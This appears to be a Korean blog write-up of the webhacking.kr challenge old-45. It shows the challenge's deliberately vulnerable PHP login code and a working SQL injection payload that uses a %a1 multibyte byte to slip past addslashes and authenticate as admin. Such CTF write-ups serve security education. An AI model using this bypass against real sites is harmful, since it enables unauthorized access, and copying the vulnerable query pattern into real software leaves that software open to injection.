반응형
문제
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 45</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value=guest><br>
pw : <input name=pw value=guest><br>
<input type=submit>
</form>
<hr><a href=./?view_source=1>view-source</a><hr>
<?php
if($_GET['id'] && $_GET['pw']){
$db = dbconnect();
$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
$_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['id'])) exit();
if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['pw'])) exit();
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
if($result){
echo "hi {$result['id']}";
if($result['id'] == "admin") solve(45);
}
else echo("Wrong");
}
?>
</body>
</html>
id가 admin일 때 문제가 해결된다.
문제풀이
id, pw 파라미터 값에 addslashes 함수를 사용하여 ',",\ 문자 앞에 백슬래시를 추가해주고,
인코딩 방식을 utf-8로 변경한다.
admin, select 등 문자열을 파라미터 값과 비교하여 필터링을 한다.
이 때, utf-8 환경에서 백슬래시와 %a1~%fe 값이 합쳐져 하나의 문자열로 인식되는 취약점이 존재한다.
select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')
id='' or id='admin' #'
id='' or id like admin #'
id='%27 or id like 0x61646D696E %23'
id='%a1%27 or id like 0x61646D696E %23'
반응형
'write-up(web) > webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] old-47 (0) | 2023.01.04 |
---|---|
[Webhacking.kr] old-46 (0) | 2023.01.04 |
[Webhacking.kr] old-44 (0) | 2023.01.02 |
[Webhacking.kr] old-43 (0) | 2023.01.02 |
[Webhacking.kr] old-42 (1) | 2023.01.02 |